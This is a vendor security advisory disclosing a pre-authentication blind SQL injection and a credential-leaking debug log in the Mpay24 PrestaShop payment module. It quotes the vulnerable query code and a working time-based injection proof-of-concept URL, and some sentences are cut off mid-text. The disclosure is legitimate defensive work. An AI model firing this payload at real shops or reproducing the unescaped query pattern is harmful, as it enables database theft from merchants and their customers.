    Summary
    
    BAE Systems Applied Intelligence researcher, Eldar Marcussen has identified

    Pre-Authentication Blind SQL Injection Requires
    
    Mpay24 payment module present on the website.
    CVE identifier
    
    CVE-2014-2008
    Description
    
    The Mpay24 plugin version 1.5 and earlier does not sufficiently filter or
    escape user supplied data used in database queries resulting in SQL
    injection vulnerabilities.
    
    The following blind SQL injection vulnerability is caused by user supplied
    data being used directly in a database query, as evidenced by the offending
    code:
    
     confirm.php:12:Db::getInstance()->Execute("
    
    confirm.php:13:UPDATE `"._DB_PREFIX_."mpay24_order` SET
    
    confirm.php:14:`MPAYTID` = ".$_REQUEST['MPAYTID'].",
    
    confirm.php:15:`STATUS` = '".$_REQUEST['STATUS']."'
    
    confirm.php:16:WHERE `TID` = '".$_REQUEST['TID']."'
    
    confirm.php:17:");
    Impact
    
    Using this vulnerability, BAE Systems was able to extract information
    directly from the database, bypassing any restrictions that may be enforced
    by the application.
    
    
    Proof of Concept
    
    The following URL introduces an artificial delay in the page response time
    which can be used by an attacker to extract data from the database:
    
    
    http://target/path/modules/mpay24/confirm.php?MPAYTID=1&STATUS=bbb&TID=a%27%20or%20%27a%27%20in%20%28select%20IF%28SUBSTR%28@@version,1,1%29=5,BENCHMARK%281000000,SHA1%280xDEADBEEF%29%29,%20false%29%29;%20--+
    Recommendation
    
    Use prepared statements to ensure the structure of the database query
    remains intact.
    Pre-Authentication Information Disclosure Requires
    
    Mpay24 configured with debug enabled (default value until version 1.6).
    CVE identifier
    
    CVE-2014-2009
    Description
    
    The Mpay24 plugin logs raw curl requests and other debugging information to
    the payment gateway by default. This log file is publicly accessible and
    contains information valuable to an attacker, including the base64 encoded
    credentials used by the merchant to access the Mpay24 API.
    Impact
    
    Using this vulnerability, BAE Systems was able to obtain Mpay24 API
    credentials and the local path of the Prestashop installation. The attacker
    can use the API credentials to hijack the merchants API access and leverage
    the local path disclosure with other exploits.

    Recommendation

    authenticated users.
    End User Recommendation
    
    Update your Mpay24 plugin to version 1.6 or later.
